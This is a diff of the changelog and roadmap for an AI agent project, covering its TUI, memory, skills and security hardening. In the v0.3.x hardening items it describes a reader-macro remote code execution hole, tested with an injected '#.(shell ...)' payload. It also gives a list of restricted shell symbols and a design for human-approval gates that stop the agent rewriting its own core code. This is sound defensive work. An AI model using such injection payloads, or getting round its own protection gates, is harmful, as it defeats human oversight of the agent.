"TODO" [2026-04-29 Wed] +:END: + +The surgical edit + tangle + hot-reload pipeline (text replace → tangle → compile → load) established the self-modification capability that makes the Skill Creator (v0.9.0) safe — skills are generated, tangled, loaded, and verified in the same loop. + +*** DONE Enhanced utilities (structural Lisp/Org manipulation + REPL) +:PROPERTIES: +:ID: id-23f37c0d-4e77-4dc3-ab43-52a5987eb426 +:CREATED: [2026-04-23 Wed] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-29 Wed] +:END: + +Structural Lisp/Org manipulation tools are the primitives the self-improve module (v0.2.0) and the programming skills (literate block extraction, syntax validation) build on. + +*** DONE Onboarding wizard (modular Lisp setup for LLM providers) +:PROPERTIES: +:ID: id-bd497de7-3533-4056-b89f-2c992d2ea28b +:CREATED: [2026-04-28 Tue] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-29 Wed] +:END: + +The setup wizard established the "works out of the box" constraint that the gateway QA (v0.4.0) and Emacs bridge (v0.4.0) onboarding flows follow. + +*** DONE Memory rollback (snapshot and restore) +:PROPERTIES: +:ID: id-fd2fb6e3-03e7-4e22-b9e9-a7eecfd06718 +:CREATED: [2026-04-12 Sun] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-29 Wed] +:END: + +Copy-on-write snapshots (deep-copying the memory hash table on every write) gave the pipeline crash recovery. The snapshot mechanism is the root of MVCC concurrency (v0.9.0). +** v0.1.0: The Autonomous Foundation — RELEASED 2026-04-20 +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon 19:05] +:END: + +The secure, auditable Lisp kernel. All core infrastructure in place. + +*** DONE Perceive-Reason-Act pipeline +:PROPERTIES: +:ID: id-06f10b9a-4054-4dea-a927-b0935fbdcd2f +:CREATED: [2026-03-22 Sun] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon] +:END: + +This established the three-stage cognitive cycle that all later features plug into. The pipeline is the invariant — skills, gates, actuators, and clients all compose through it. + +*** DONE Skills engine with jailed loading +:PROPERTIES: +:ID: id-dc83944f-3923-4142-b324-c317dacd6b0b +:CREATED: [2026-03-22 Sun] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon] +:END: + +This made the "thin harness, fat skills" identity operational. Skills loading into jailed packages (v0.1.0) is the foundation for the skill sandbox mode (v0.3.2) and the Skill Creator (v0.9.0). + +*** DONE Policy skill (6 invariants) +:PROPERTIES: +:ID: id-929c84b7-d6ae-42b9-a8b5-d9df962db826 +:CREATED: [2026-03-22 Sun] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon] +:END: + +This established the "explanation required" invariant that gates stack above. The policy gate (priority 500) runs first and sets the precedent that every action must justify itself. + +*** DONE Memory (memory-object + Merkle hashing) +:PROPERTIES: +:ID: id-3a96b384-cacf-4da0-8faa-1647739feba9 +:CREATED: [2026-03-22 Sun] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon] +:END: + +The Merkle tree with content-addressed hashing made copy-on-write snapshots (v0.2.0) and MVCC concurrency (v0.9.0) possible. The hash-as-identity property also feeds directly into the foveal-peripheral model's semantic retrieval. + +*** DONE Scribe + Gardener background workers +:PROPERTIES: +:ID: id-3f618a38-ec23-4034-ba3c-ef272e212e2b +:CREATED: [2026-03-22 Sun] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon] +:END: + +These background workers established the heartbeat-driven maintenance pattern. The event orchestrator (v0.3.0) generalizes this into hooks and cron jobs. + +*** DONE LLM gateway (OpenRouter, Ollama) +:PROPERTIES: +:ID: id-f5d870e2-cbd2-4c00-a8d4-174ab4118afc +:CREATED: [2026-04-11 Sat] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon] +:END: + +The provider-agnostic cascade pattern established in v0.1.0 makes the model-tier router (v0.3.0), privacy-aware routing (v0.3.0), and consensus loop (v0.11.0) possible — they all build on the same ~backend-cascade-call~ abstraction. + +*** DONE Shell actuator, Emacs bridge, credentials vault +:PROPERTIES: +:ID: id-7ca3167f-8353-4bb7-8b97-c039017716b0 +:CREATED: [2026-04-11 Sat] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon] +:END: + +The actuator registry pattern makes MCP tools (v0.10.0) possible — they register the same way. + +*** DONE FiveAM test suite +:PROPERTIES: +:ID: id-925d4180-764b-4219-8bdc-8e1849572da1 +:CREATED: [2026-04-11 Sat] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-04-20 Mon] +:END: + +The test infrastructure established in v0.1.0 becomes the TDD runner (v0.12.0) and the SWE-bench harness (v0.12.0). +* Future Work +See [[file:docs/ROADMAP.org][ROADMAP.org]] for planned features. diff --git a/docs/ROADMAP.org b/docs/ROADMAP.org index b903019..f70d7e0 100644 --- a/docs/ROADMAP.org +++ b/docs/ROADMAP.org @@ -34,1540 +34,6 @@ On release: 2. Extract DONE items from ROADMAP (all items with LOGBOOK timestamps since the last release tag) and use as the release notes body 3. If a ~CHANGELOG.md~ is needed for packaging tools, auto-generate it from ROADMAP DONE items -** v0.1.0: The Autonomous Foundation — RELEASED 2026-04-20 -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon 19:05] -:END: - -The secure, auditable Lisp kernel. All core infrastructure in place. - -*** DONE Perceive-Reason-Act pipeline -:PROPERTIES: -:ID: id-06f10b9a-4054-4dea-a927-b0935fbdcd2f -:CREATED: [2026-03-22 Sun] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon] -:END: - -This established the three-stage cognitive cycle that all later features plug into. The pipeline is the invariant — skills, gates, actuators, and clients all compose through it. - -*** DONE Skills engine with jailed loading -:PROPERTIES: -:ID: id-dc83944f-3923-4142-b324-c317dacd6b0b -:CREATED: [2026-03-22 Sun] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon] -:END: - -This made the "thin harness, fat skills" identity operational. Skills loading into jailed packages (v0.1.0) is the foundation for the skill sandbox mode (v0.3.2) and the Skill Creator (v0.9.0). - -*** DONE Policy skill (6 invariants) -:PROPERTIES: -:ID: id-929c84b7-d6ae-42b9-a8b5-d9df962db826 -:CREATED: [2026-03-22 Sun] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon] -:END: - -This established the "explanation required" invariant that gates stack above. The policy gate (priority 500) runs first and sets the precedent that every action must justify itself. - -*** DONE Memory (memory-object + Merkle hashing) -:PROPERTIES: -:ID: id-3a96b384-cacf-4da0-8faa-1647739feba9 -:CREATED: [2026-03-22 Sun] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon] -:END: - -The Merkle tree with content-addressed hashing made copy-on-write snapshots (v0.2.0) and MVCC concurrency (v0.9.0) possible. The hash-as-identity property also feeds directly into the foveal-peripheral model's semantic retrieval. - -*** DONE Scribe + Gardener background workers -:PROPERTIES: -:ID: id-3f618a38-ec23-4034-ba3c-ef272e212e2b -:CREATED: [2026-03-22 Sun] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon] -:END: - -These background workers established the heartbeat-driven maintenance pattern. The event orchestrator (v0.3.0) generalizes this into hooks and cron jobs. - -*** DONE LLM gateway (OpenRouter, Ollama) -:PROPERTIES: -:ID: id-f5d870e2-cbd2-4c00-a8d4-174ab4118afc -:CREATED: [2026-04-11 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon] -:END: - -The provider-agnostic cascade pattern established in v0.1.0 makes the model-tier router (v0.3.0), privacy-aware routing (v0.3.0), and consensus loop (v0.11.0) possible — they all build on the same ~backend-cascade-call~ abstraction. - -*** DONE Shell actuator, Emacs bridge, credentials vault -:PROPERTIES: -:ID: id-7ca3167f-8353-4bb7-8b97-c039017716b0 -:CREATED: [2026-04-11 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon] -:END: - -The actuator registry pattern makes MCP tools (v0.10.0) possible — they register the same way. - -*** DONE FiveAM test suite -:PROPERTIES: -:ID: id-925d4180-764b-4219-8bdc-8e1849572da1 -:CREATED: [2026-04-11 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-20 Mon] -:END: - -The test infrastructure established in v0.1.0 becomes the TDD runner (v0.12.0) and the SWE-bench harness (v0.12.0). - -** v0.2.0: Interactive Refinement — RELEASED 2026-04-29 -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-29 Wed 20:17] -:END: - -The "Brain" meets the "Machine." Standardization and professionalization of the user interface and environment. - -*** DONE Text User Interface (Croatoan-based, styled, scrollable) -:PROPERTIES: -:ID: id-57cef382-fe14-42e6-aade-03e05e3e920b -:CREATED: [2026-04-28 Tue] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-29 Wed] -:END: - -The Croatoan-based TUI with model-view separation and dirty-flag rendering is the foundation for all TUI improvements: word wrap in v0.3.3, gate trace in v0.4.0, tool visualization in v0.8.1, and streaming in v0.7.1. - -*** DONE Self-editing (error detection, surgical fix, hot-reload) -:PROPERTIES: -:ID: id-459b8275-9979-4d0f-8d61-a9af883930d4 -:CREATED: [2026-04-23 Wed] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-29 Wed] -:END: - -The surgical edit + tangle + hot-reload pipeline (text replace → tangle → compile → load) established the self-modification capability that makes the Skill Creator (v0.9.0) safe — skills are generated, tangled, loaded, and verified in the same loop. - -*** DONE Enhanced utilities (structural Lisp/Org manipulation + REPL) -:PROPERTIES: -:ID: id-23f37c0d-4e77-4dc3-ab43-52a5987eb426 -:CREATED: [2026-04-23 Wed] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-29 Wed] -:END: - -Structural Lisp/Org manipulation tools are the primitives the self-improve module (v0.2.0) and the programming skills (literate block extraction, syntax validation) build on. - -*** DONE Onboarding wizard (modular Lisp setup for LLM providers) -:PROPERTIES: -:ID: id-bd497de7-3533-4056-b89f-2c992d2ea28b -:CREATED: [2026-04-28 Tue] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-29 Wed] -:END: - -The setup wizard established the "works out of the box" constraint that the gateway QA (v0.4.0) and Emacs bridge (v0.4.0) onboarding flows follow. - -*** DONE Memory rollback (snapshot and restore) -:PROPERTIES: -:ID: id-fd2fb6e3-03e7-4e22-b9e9-a7eecfd06718 -:CREATED: [2026-04-12 Sun] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-04-29 Wed] -:END: - -Copy-on-write snapshots (deep-copying the memory hash table on every write) gave the pipeline crash recovery. The snapshot mechanism is the root of MVCC concurrency (v0.9.0). - -** v0.3.0: Event Orchestration + HITL — RELEASED 2026-05-06 -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-06 Wed 15:50] -:END: - -Unified control plane, Human-in-the-Loop state management, and backfill remediation -for stubs and gaps from v0.1.0/v0.2.0. Security hardening followed as -v0.3.1–v0.3.3 point releases. - -*** DONE Secret Exposure Gate, Shell Safety, Lisp Validation -:PROPERTIES: -:ID: id-aa53c128-195b-42d4-9838-2def59faf7cf -:CREATED: [2026-05-02 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-02 Sat] -:END: - -*** DONE Multi-distro deployment (Debian+Fedora, systemd, Docker) -:PROPERTIES: -:ID: id-783df999-f7fe-45c8-896d-2fd07c604d64 -:CREATED: [2026-05-02 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-02 Sat] -:END: - -*** DONE Project rename to Passepartout (files, packages, env vars) -:PROPERTIES: -:ID: id-91724874-aa0d-4804-9220-8bc5551f1366 -:CREATED: [2026-05-02 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-02 Sat] -:END: - -*** DONE 31 org files with full literate prose -:PROPERTIES: -:ID: id-597b2a92-aac6-481a-b2c4-4f9842ced97c -:CREATED: [2026-05-02 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-02 Sat] -:END: - -*** DONE Human-in-the-Loop (HITL) -CLOSED: [2026-05-03 Sun 14:00] -:PROPERTIES: -:ID: id-hitl-complete -:CREATED: [2026-05-02 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-03 Sun 14:00] -:END: -Continuation-based interaction. The agent can suspend its cognitive loop to ask for -permission or clarification and resume precisely where it left off. Builds on the -dispatcher's existing Flight Plan mechanism. - -*** DONE Event Orchestrator (unified hooks+cron+routing) -:PROPERTIES: -:ID: id-d35aea3d-2e5f-4a12-a9b0-1c2d3e4f5a6b -:CREATED: [2026-05-02 Sat 14:00] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-02 Sat 22:36] -:END: -Unified control plane for hooks, cron, and complexity-based routing. -- *hook-registry* + *cron-registry* + tier classifier -- Hooks via ~#+HOOK:~ Org-mode properties -- Three complexity tiers: ~:REFLEX~ (no LLM), ~:COGNITION~ (light LLM), ~:REASONING~ (full LLM) -- Hooked into heartbeat for cron processing -- Rule-based tier classifier (overrideable via ~*tier-classifier*~) - -*** DONE Context Manager (project scoping) -CLOSED: [2026-05-05 Tue] -:PROPERTIES: -:ID: id-context-manager-scoping -:CREATED: [2026-05-05 Tue] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-05 Tue] -:END: -Stack-based project focusing with persistence. -- ~push-context~/~pop-context~/~with-context~ stack operations -- ~current-scope~ wired into perceive gate ~*scope-resolver*~ -- ~/focus~/~/scope~/~/unfocus~ TUI commands -- Context stack persisted to ~~/.cache/passepartout/context.lisp~, auto-restores on boot - -*** DONE Model-Tier Routing (cost optimization) -CLOSED: [2026-05-03 Sun 16:00] -:PROPERTIES: -:ID: id-model-tier-routing -:CREATED: [2026-05-02 Sat 23:00] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-03 Sun 16:00] -:END: -Extend ~*model-selector*~ for quadrant-based routing with per-slot provider cascades. -- Privacy filter (local-only for @personal content) — top priority -- Quadrant tagging (foreground/background × probabilistic/deterministic) -- Complexity classifier (code/plan/chat/background slots), each with its own provider cascade -- Model-selector skill registers into =*model-selector*= hook -Deferred to v0.5.0: budget tracking per request, per-session cost monitoring. -Deferred to v0.11.0: TUI /config command for cascade configuration (env vars for now). - -*** DONE Memory Scope Segmentation -CLOSED: [2026-05-03 Sun 16:30] -:PROPERTIES: -:ID: id-memory-scope-segmentation -:CREATED: [2026-05-02 Sat 23:00] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-03 Sun 16:30] -:END: -Extend memory-object with ~:scope~ property. -- ~:memex~ (permanent knowledge), ~:session~ (ephemeral), ~:project~ (current work) -- Scope-aware retrieval in memory layer - -*** DONE Asynchronous Embedding Gateway -CLOSED: [2026-05-05 Tue] -:PROPERTIES: -:ID: id-async-embedding -:CREATED: [2026-05-02 Sat 23:00] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-05 Tue] -:END: -Provider-agnostic vector generation (Ollama, OpenAI, hashing fallback). -- Three backends: local (Ollama-compatible), openai (/v1/embeddings), hashing (SHA-256) -- ~embeddings-compute~ and ~*embedding-backend*~ for runtime provider selection -- ~ingest-ast~ populates vectors at object creation time -- ~mark-vector-stale~ marks vectors as ~:pending~ and queues for re-embedding -- ~embed-all-pending~ drains queue, computes vectors, stores in ~*memory-store*~ -- Cron job registered with orchestrator: runs every 10m on ~:reflex~ tier -- ~EMBEDDING_PROVIDER~ env var for provider selection -- Registered as proper skill (~defskill~~:passepartout-system-model-embedding~) - -*Note:* The default ~:hashing~ backend uses SHA-256-derived vectors. SHA-256 is a -cryptographic hash with the avalanche property — one-bit input differences produce -entirely different outputs. This makes it a correct integrity check (Merkle tree) -but an incorrect similarity function (semantic retrieval). v0.4.0 replaces it with -a zero-dependency lexical similarity algorithm that actually captures textual -overlap while remaining offline-capable. - -*** DONE TUI Experience (Daily Driver Quality) -CLOSED: [2026-05-05 Tue] -:PROPERTIES: -:ID: id-tui-experience -:CREATED: [2026-05-02 Sat 23:00] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-05 Tue] -:END: -All P0-P4 items implemented: -- P0: Chat scrollback (Page Up/Down), Input history (up/down arrows) -- P1: Status bar (connection, mode, msg count, scroll, activity indicator) -- P1: Message rendering (timestamps, colors, role icons) -- P2: Command palette (~/help~ command listing) -- P2: Multi-line input (~\ + Enter~ inserts newline) -- P3: Background activity indicator (~…thinking~ spinner) -- P4: Tab completion for all ~/~~ commands -- P4: Configurable theme (~*tui-theme*~ plist, ~~/theme~~ command) - -*** DONE v0.2.x Backfill Remediation (stubs and gaps) -CLOSED: [2026-05-03 Sun] -:PROPERTIES: -:ID: id-v02x-remediation -:CREATED: [2026-05-03 Sun] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-03 Sun] -:END: -- P0: vault-get-secret / vault-set-secret wrappers (one-line delegation to vault-get/vault-set with ~:type :secret~) -- P0: system-archivist Scribe + Gardener (distill daily logs → atomic notes; scan broken links, orphaned memory-objects) -- P0: system-self-improve surgical edit + error fix (read → replace → snapshot → write → balance → tangle → reload) -- P0: programming-org org-modify + org-ast-render (locate node by ID, apply changes; convert plist AST → Org text) -- P0: programming-literate balance check + tangle sync (verify balanced parens in source blocks; verify .lisp matches tangled output) -- P1: system-event-orchestrator bootstrap (scan Org files for HOOK/CRON properties, register via existing registries) -- P1: system-memory introspection (structured statistics: object count by type, TODO distribution, orphans, snapshots) -- P1: path relic skills/ → lisp/ (update skill-initialize-all and context-skill-source to resolve against lisp/ directory) -- P2: core-context semantic retrieval (populate org-object-vector at ingest; fallback: TF-IDF bag-of-words) -- P2: core-context subtree-based skill source loading (context-skill-subtree for targeted retrieval by heading name) -- P3: Variable name drift normalization (*memory* vs *memory-store*, *skills-registry* vs *skill-registry*) -- P4: Eliminate STYLE-WARNINGs from setup output (reorder defuns for same-file forward references; accept cross-skill references) - -*** DONE Project Renaming (Bouncer → Dispatcher) -:PROPERTIES: -:ID: id-9e779580-287b-b3d1-37b9-bcefd750bf9e -:CREATED: [2026-05-01 Fri 15:40] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-02 Sat 22:00] -:END: -The Dispatcher's role has evolved beyond security guard. It is the seed of the deterministic engine — it learns to execute procedures without invoking the neural net. - - -*** DONE Parser RCE elimination -:PROPERTIES: -:ID: id-v031-parser-rce -:CREATED: [2026-05-06 Wed] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-06 Wed 16:38] -:END: - -Rationale: SBCL's default ~*read-eval* accessor is ~t~, enabling the ~#.~ reader macro to execute arbitrary Lisp forms during parsing. Three code paths in the current codebase process untrusted input with ~read-from-string~ or ~read~ without binding ~*read-eval*~ to ~nil~. Each represents a remote code execution vector that bypasses all deterministic safety gates — the Dispatcher's shell safety check, path protection, secret scanning, and network exfiltration detection never execute because the malicious form is evaluated during parsing, before the action plist is even constructed. - -- Wrap ~read-from-string~ in ~think()~ (core-loop-reason.lisp:102) with ~(let ((*read-eval* nil)) ...)~ — LLM output is untrusted by definition; parsing it must never execute code. The markdown-strip regex already runs, so the fix immediately follows it. -- Wrap ~read~ in ~load-memory-from-disk~ (core-memory.lisp:143) with ~(let ((*read-eval* nil)) ...)~ — the ~memory.snap~ file lives in ~~/ by default and could be corrupted or planted. -- Wrap ~read-from-string~ in ~action-system-execute~ (core-loop-act.lisp:62) with ~(let ((*read-eval* nil)) ...)~ — the ~:system :eval~ path executes untrusted payload code. Explicitly assert that this path requires the Dispatcher's approval gate. -- Add FiveAM test: inject ~"(#.(shell \"echo pwned\"))"~ into the ~think()~ pipeline and assert no shell execution occurs. - -*** DONE Shell safety & actuator sandboxing -:PROPERTIES: -:ID: id-v032-shell-sandbox -:CREATED: [2026-05-06 Wed] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-06 Wed 16:46] -:END: - -Rationale: The ~:system :eval~ actuator path is currently unchecked by the Dispatcher's approval gate — only ~:shell~ and ~:tool "shell"~ trigger HITL. The shell actuator wraps commands through double ~bash -c~ nesting (~system-actuator-shell.lisp:10~), where Lisp's ~format~ with ~s~ produces S-expression-safe strings, not shell-safe strings. A command containing quotes or substitution characters can break out. Additionally, skill files loaded via ~skill-initialize-all~ execute arbitrary Lisp in jailed packages — a skill file containing ~(uiop:run-program "dangerous")~ executes immediately on load before any gate can inspect it. - -- Fix shell double-wrapping: remove the outer ~bash -c~ in ~actuator-shell-execute~; pass the command string directly to ~uiop:run-program~ with ~:force-shell nil~. The timeout wrapping remains via the OS ~timeout~ binary. -- Extend the Dispatcher approval requirement to the ~:system :eval~ path (currently only ~:shell~ and ~:tool "shell"~ trigger HITL). An unbounded ~eval~ should require the same Flight Plan approval as a shell command. -- Add skill sandbox mode for ~skill-initialize-all~: load each skill's code into a temporary jailed package, run the registered trigger function in isolation, verify it imports no restricted symbols (from CL package: ~run-program~, ~shell~, ~run-shell-command~), then promote to the live registry on pass. -- Add FiveAM test: register a skill containing ~(uiop:run-program "echo test")~ in the body and verify the sandbox blocks its promotion. - -*** DONE TUI Critical Fixes -:PROPERTIES: -:ID: id-v033-tui-fixes -:CREATED: [2026-05-06 Wed] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-06 Wed 17:59] -:END: - -Rationale: The TUI is Passepartout's only interface. OpenClaw distributes across 25+ messaging channels with voice, Canvas, and macOS/iOS apps. Hermes Agent ships multiline editing, slash-command autocomplete, conversation history, interrupt-and-redirect, and streaming tool output in its TUI. Passepartout's Croatoan TUI must carry the product alone, and it currently lacks word wrap, cursor movement, resize handling, connection-loss feedback, a quit command, and persistent history. None of these fixes require daemon changes — they are pure client-side Croatoan work that closes the gap from "proof of concept" to "daily driver." - -- Word wrap in ~view-chat~: every LLM response longer than the terminal width is silently truncated to one line. Croatoan supports multi-line rendering; ~view-chat~ must calculate per-message line height, adjust visible-message count accordingly, and scroll per message-line rather than per message. For very long messages, add a pager mode where pressing Enter on a message opens it in a scrollable overlay. -- Left/Right cursor in input: add ~:left~ and ~:right~ key handlers that move a cursor position index within the ~:input-buffer~ list. Characters are inserted at the cursor position, not always appended. Backspace deletes at the cursor position. -- SIGWINCH handler: register a terminal resize signal. On resize, re-measure the root window, destroy and recreate the three sub-windows (~sw~, ~cw~, ~iw~), set all dirty flags to ~t~, and force a full redraw. -- Connection-loss detection: the reader thread currently polls ~recv-daemon~ silently on EOF. On disconnection, queue a ~:disconnected~ event, set ~:connected~ to ~nil~, clear ~:busy~, add a red system message "Connection lost — run /reconnect to retry." The ~:disconnected~ event dirties the status bar to show the status indicator. -- ~/quit~ command + persistent history: on ~/quit~, save ~:input-history~ to ~~/.cache/passepartout/history~ (one line per entry, most recent first), send a goodbye handshake to the daemon, close the socket, and exit the main loop cleanly. On startup, load history from the save file if it exists. -- Scroll offset clamping: clamp ~:scroll-offset~ to ~(max 0 (- msg-count visible-lines))~. The status bar shows ~"msgs:12/45"~ (visible / total) rather than ~"msgs:45"~ (total only) so the user knows when they've scrolled past the oldest message. -- Message list storage: replace the O(n²) ~(nth i msgs)~ list indexing with a simple adjustable vector. ~add-msg~ appends; ~view-chat~ iterates with ~aref~. The vector is resized as needed. Same API surface, 100x speedup on message-heavy sessions. -- Add FiveAM tests: word-wrap produces correct line count for a 200-character string at 80-column width; cursor left/right wraps at buffer boundaries; SIGWINCH preserves message state; ~/quit~ saves and restores history. - -** v0.4.0: Production Hardening — RELEASED 2026-05-06 -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-06 Wed 20:56] -:END: - -The features in this version were originally sequenced as v0.3.x patches but represent feature-level scope. They activate the architectural advantages designed in v0.1.0–v0.3.0, harden the self-build safety boundary, and expand Passepartout's interaction surfaces beyond the terminal TUI. Each feature depends on infrastructure already in place — the wiring, the sandbox, the gate trace — and activates it. - -*** DONE Semantic retrieval activation -CLOSED: [2026-05-06 Tue] -- State "DONE" from "TODO" [2026-05-06 Tue] - -Rationale: Two independent failures prevent the foveal-peripheral semantic retrieval path from ever firing. First, ~context-awareness-assemble~ never passes ~:foveal-vector~ to ~context-object-render~, so the renderer receives ~nil~ for ~foveal-vector~ and the similarity calculation always returns 0.0. Second, the default ~:hashing~ embedding backend uses SHA-256 (a cryptographic hash with the avalanche property) as a similarity function. SHA-256 is designed to produce entirely different outputs for nearly identical inputs — the property that makes it secure for integrity verification is precisely what makes it useless for semantic retrieval. A content-addressed Merkle tree correctly uses SHA-256 for identity; a retrieval engine needs a similarity function, not an identity function. The infrastructure for real embeddings (~local~ with Ollama, ~openai~ with the embeddings API) is fully implemented and working — this release activates the last-mile wiring and replaces the semantically blind default with a zero-dependency algorithm that actually captures textual overlap. - -- Wire ~:foveal-vector~ into ~context-awareness-assemble~: pass ~(memory-object-vector (memory-object-get foveal-id))~ as the ~:foveal-vector~ argument to the ~context-object-render~ call (one line in ~core-context.lisp:148-150~). -- Replace ~:hashing~ default backend with character-trigram Jaccard similarity. Pure Lisp, zero external dependencies, works exactly as offline as SHA-256, but captures lexical overlap: "authentication" and "authenticate" share trigrams "aut," "uth," "the," "hen," "ent," etc. The vector is a bloom filter of trigrams; cosine similarity maps to Jaccard (intersection / union). This provides real if crude semantic signal without any server. -- Rename existing ~embedding-backend-hashing~ to ~embedding-backend-sha256~ and repurpose it as an explicit ~:sha256~ provider for environments where even trivial Lisp computation is undesirable (embedded, resource-constrained). Document it as "integrity-only, no semantic retrieval capability." -- Add ~EMBEDDING_PROVIDER~ guidance to the setup wizard: explain that ~:hashing~ is the default offline fallback, ~:local~ requires Ollama with ~nomic-embed-text~, and ~:openai~ uses the paid embeddings API. -- Add FiveAM test: ingest two semantically related nodes ("implement login form" and "add password authentication"), verify cosine similarity > 0.0 with the trigram backend. - -*** DONE Self-build safety boundary -CLOSED: [2026-05-06 Tue] -- State "DONE" from "TODO" [2026-05-06 Tue] - -Rationale: Self-building (the agent modifying its own source code) begins at v0.10.0 when the tool ecosystem and test runner are in place. But self-building without path-level write protection means the agent can modify the very pipeline code that is currently executing — the ~core-*~ files that implement the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. A hallucination or a logic error during self-building that corrupts ~core-loop-reason.lisp~ destroys the agent's ability to reason about and fix the corruption. The "thin harness" is not privileged code in the architectural sense (homoiconicity means any code can be modified at runtime), but it must be *protected* code — modifications to the harness require a human in the loop, enforced by the Dispatcher's path-protection gate, not by convention. - -This is the corollary to "thin harness, fat skills": the harness is thin enough to be auditable by a human, and the Dispatcher ensures it stays that way. Skills and system modules expand freely; the core contracts to a minimal, protected kernel. - -- Add ~core-*~ patterns to ~*dispatcher-protected-paths*~: ~core-*.org~, ~core-*.lisp~, and their tangled equivalents. Any file write, file read-that-prefaces-a-write, or shell command targeting these paths triggers the Dispatcher's blocking gate. -- The blocked action produces a Flight Plan (HITL approval required). The human reviews the proposed core change in an Org buffer before approving. This is the same mechanism that governs shell commands and network exfiltration — the core protection is a path-specific instance of the existing gate, not a new gate. -- Implement a ~SELF_BUILD_MODE~ env var. When ~SELF_BUILD_MODE=true~ (default ~false~): - - Core path protection is active (writes blocked, HITL required) - - Non-core writes proceed through the standard Dispatcher gate (permissions table + policy + Dispatcher) - - ~SELF_BUILD_MODE=false~ disables core protection entirely — useful during initial development when the human is manually editing core files and doesn't want every save to trigger a Flight Plan -- Telemetry: track self-build actions (core modifications proposed, core modifications approved, core modifications denied). This is the dataset that the Dispatcher's learning system uses in v3.0.0 to understand which core modifications are safe enough to automate. -- Add FiveAM test: simulate a write to ~core-loop.lisp~, verify the Dispatcher returns a ~:LOG~ rejection with ~"protected path"~ in the message. - -*** DONE TUI Differentiator Visualization -CLOSED: [2026-05-06 Tue] -- State "DONE" from "TODO" [2026-05-06 Tue] - -Rationale: Three architectural elements exist today in the daemon that no competitor can render — the Dispatcher gate trace, the foveal-peripheral focus map, and the rules-learned counter. All three run in pure Lisp with 0 LLM tokens. None are visible to the user. Making them visible turns Passepartout's architecture from an internal mechanism into a trust-building UX — the user sees exactly which safety gates passed, exactly what the agent is focusing on, and exactly how many rules the Dispatcher has learned from their decisions. No competitor can ship this because none has deterministic gates to trace, foveal-peripheral context to map, or a rule-synthesizing Dispatcher to count. - -- Gate trace per action: extend the daemon's response plist to include ~:gate-trace~ — a list of ~(:gate :result <:passed | :blocked | :approval>)~ entries produced by ~cognitive-verify~. The TUI renders each entry as a colored line below the corresponding agent message: green ~✓ Dispatcher: path allowed~, red ~✗ Dispatcher: blocked (shell safety)~, yellow ~→ HITL required: /approve HITL-ab12~. Gate trace lines are dim and collapsible (press Tab on a message to toggle trace visibility). This turns the invisible ten-vector safety gate into the user's primary trust mechanism. -- Focus map in status bar: add a second status bar line showing ~[Focus: core-loop.lisp:think()] [Scope: passepartout] [3 related nodes]~. The daemon already tracks ~foveal-id~ and ~*scope-resolver*~ in the signal plist; the TUI reads these from the most recent response and renders them. Related node count comes from the number of objects with cosine similarity ≥ threshold in the last context assembly. This shows the user *what the agent is looking at* — the single biggest trust gap in AI agents. -- Rule counter in status bar: ~[Rules: 47]~. The Dispatcher's ~*hitl-pending*~ hash table and approved/disallowed memory-object entries provide the count — every HITL decision that produces a rule increments it. The TUI reads the count from a new daemon response field ~:rule-count~. The user watches the counter tick up as they teach the agent their preferences. -- Expanded theme: replace the 7-flat-color ~*tui-theme*~ with a 25-color layered system organized by message category (roles, content types, tool visibility, gate states, status). See the design discussion for the full color mapping. Implement a ~/theme ~ command that swaps between named presets (~dark~, ~light~, ~solarized~, ~gruvbox~). Theme change persists to disk and reloads on next session. -- Add FiveAM tests: gate trace renders correctly for pass/block/approval states; focus map updates when ~foveal-id~ changes; rule counter increments on HITL approval. - -*** DONE Gateway QA, Discord, Slack + Emacs 